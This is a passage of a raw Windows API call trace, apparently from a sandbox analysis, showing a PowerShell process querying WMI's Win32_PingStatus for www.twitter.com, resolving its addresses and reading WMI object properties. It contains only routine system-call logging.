puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.346] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.346] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ae3a4*=0, plFlavor=0x25ae3a8*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ae3a4*=8200, plFlavor=0x25ae3a8*=64) returned 0x0 [0160.346] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ae3a4*=8200, plFlavor=0x25ae3a8*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ae3a4*=8200, plFlavor=0x25ae3a8*=64) returned 0x0 [0160.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0160.346] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0160.346] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0160.346] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0160.346] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.347] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde550 | out: pNames=0x5bde550*="\x01ƀ\x04") returned 0x0 [0160.347] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.347] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.347] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde3e8 | out: plLbound=0x5bde3e8) returned 0x0 [0160.347] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.347] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.347] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.347] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.347] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.347] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.347] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.347] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.347] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.347] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.347] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.347] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.347] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.347] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.348] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.348] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.348] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.348] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.348] SysStringByteLen (bstr="__PATH") returned 0xc [0160.348] SysStringByteLen (bstr="__PATH") returned 0xc [0160.348] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aebf4*=0, plFlavor=0x25aebf8*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25aebf4*=3, plFlavor=0x25aebf8*=64) returned 0x0 [0160.348] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aec28*=0, plFlavor=0x25aec2c*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25aec28*=8, plFlavor=0x25aec2c*=64) returned 0x0 [0160.348] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.348] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.348] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aec80*=0, plFlavor=0x25aec84*=0 | out: pVal=0x5bde54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aec80*=8, plFlavor=0x25aec84*=64) returned 0x0 [0160.348] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aeca8*=0, plFlavor=0x25aecac*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25aeca8*=8, plFlavor=0x25aecac*=64) returned 0x0 [0160.349] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.349] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.349] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aed00*=0, plFlavor=0x25aed04*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25aed00*=8, plFlavor=0x25aed04*=64) returned 0x0 [0160.349] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.349] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.349] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aeedc*=0, plFlavor=0x25aeee0*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25aeedc*=3, plFlavor=0x25aeee0*=64) returned 0x0 [0160.349] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aef10*=0, plFlavor=0x25aef14*=0 | out: pVal=0x5bde54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25aef10*=8200, plFlavor=0x25aef14*=64) returned 0x0 [0160.350] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aef44*=0, plFlavor=0x25aef48*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25aef44*=8, plFlavor=0x25aef48*=64) returned 0x0 [0160.350] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.350] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.350] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aef90*=0, plFlavor=0x25aef94*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25aef90*=8, plFlavor=0x25aef94*=64) returned 0x0 [0160.350] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.350] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.350] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25aefdc*=0, plFlavor=0x25aefe0*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25aefdc*=8, plFlavor=0x25aefe0*=64) returned 0x0 [0160.350] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.350] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.350] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde590 | out: puCount=0x5bde590*=0x2) returned 0x0 [0160.350] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde58c*=0xf, pszText=0x0) returned 0x0 [0160.350] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.350] IWbemClassObject:Get (in: This=0x5f6b230, wszName="address", lFlags=0, pVal=0x5bde58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25af214*=0, plFlavor=0x25af218*=0 | out: pVal=0x5bde58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25af214*=8, plFlavor=0x25af218*=0) returned 0x0 [0160.350] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.350] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.351] IWbemClassObject:Get (in: This=0x5f6b230, wszName="address", lFlags=0, pVal=0x5bde5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25af214*=8, plFlavor=0x25af218*=0 | out: pVal=0x5bde5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25af214*=8, plFlavor=0x25af218*=0) returned 0x0 [0160.351] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.351] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.351] GetAddrInfoW (in: pNodeName="www.twitter.com", pServiceName=0x0, pHints=0x5bde630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bde5d8 | out: ppResult=0x5bde5d8*=0x5f98628*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5fa36d0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f98768*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa36e8*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) returned 0 [0160.353] FreeAddrInfoW (pAddrInfo=0x5f98628*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5fa36d0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f98768*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa36e8*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) [0160.354] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0160.354] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0160.355] EtwEventActivityIdControl () returned 0x0 [0160.356] EtwEventActivityIdControl () returned 0x0 [0160.356] EtwEventActivityIdControl () returned 0x0 [0160.356] EtwEventActivityIdControl () returned 0x0 [0160.356] EtwEventActivityIdControl () returned 0x0 [0160.356] EtwEventActivityIdControl () returned 0x0 [0160.360] EtwEventWriteTransfer () returned 0x0 [0160.363] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f4 [0160.363] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.363] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.364] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.364] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ba544*=0, plFlavor=0x25ba548*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25ba544*=8, plFlavor=0x25ba548*=64) returned 0x0 [0160.364] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.364] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.364] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ba544*=8, plFlavor=0x25ba548*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25ba544*=8, plFlavor=0x25ba548*=64) returned 0x0 [0160.364] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.364] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.364] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.365] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.365] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.365] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ba5e0*=0, plFlavor=0x25ba5e4*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ba5e0*=8, plFlavor=0x25ba5e4*=64) returned 0x0 [0160.365] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.365] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.365] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ba5e0*=8, plFlavor=0x25ba5e4*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ba5e0*=8, plFlavor=0x25ba5e4*=64) returned 0x0 [0160.365] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.365] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.365] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.365] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.365] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.366] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ba73c*=0, plFlavor=0x25ba740*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ba73c*=8200, plFlavor=0x25ba740*=64) returned 0x0 [0160.366] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ba73c*=8200, plFlavor=0x25ba740*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ba73c*=8200, plFlavor=0x25ba740*=64) returned 0x0 [0160.367] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.367] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.367] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.367] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ba9a4*=0, plFlavor=0x25ba9a8*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ba9a4*=8, plFlavor=0x25ba9a8*=64) returned 0x0 [0160.367] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.367] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.367] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ba9a4*=8, plFlavor=0x25ba9a8*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ba9a4*=8, plFlavor=0x25ba9a8*=64) returned 0x0 [0160.368] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.368] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.368] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.368] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.368] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25baacc*=0, plFlavor=0x25baad0*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25baacc*=8200, plFlavor=0x25baad0*=64) returned 0x0 [0160.368] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25baacc*=8200, plFlavor=0x25baad0*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25baacc*=8200, plFlavor=0x25baad0*=64) returned 0x0 [0160.369] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0160.369] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0160.369] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.369] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0160.369] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0160.369] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.369] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde550 | out: pNames=0x5bde550*="\x01ƀ\x04") returned 0x0 [0160.369] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.369] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.369] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde3e8 | out: plLbound=0x5bde3e8) returned 0x0 [0160.369] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.369] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.369] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.369] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.369] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.369] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.370] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.370] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.370] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.370] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.370] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.370] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.370] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.370] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.370] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.370] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.370] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.370] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.370] SysStringByteLen (bstr="__PATH") returned 0xc [0160.370] SysStringByteLen (bstr="__PATH") returned 0xc [0160.370] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb308*=0, plFlavor=0x25bb30c*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25bb308*=3, plFlavor=0x25bb30c*=64) returned 0x0 [0160.371] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", 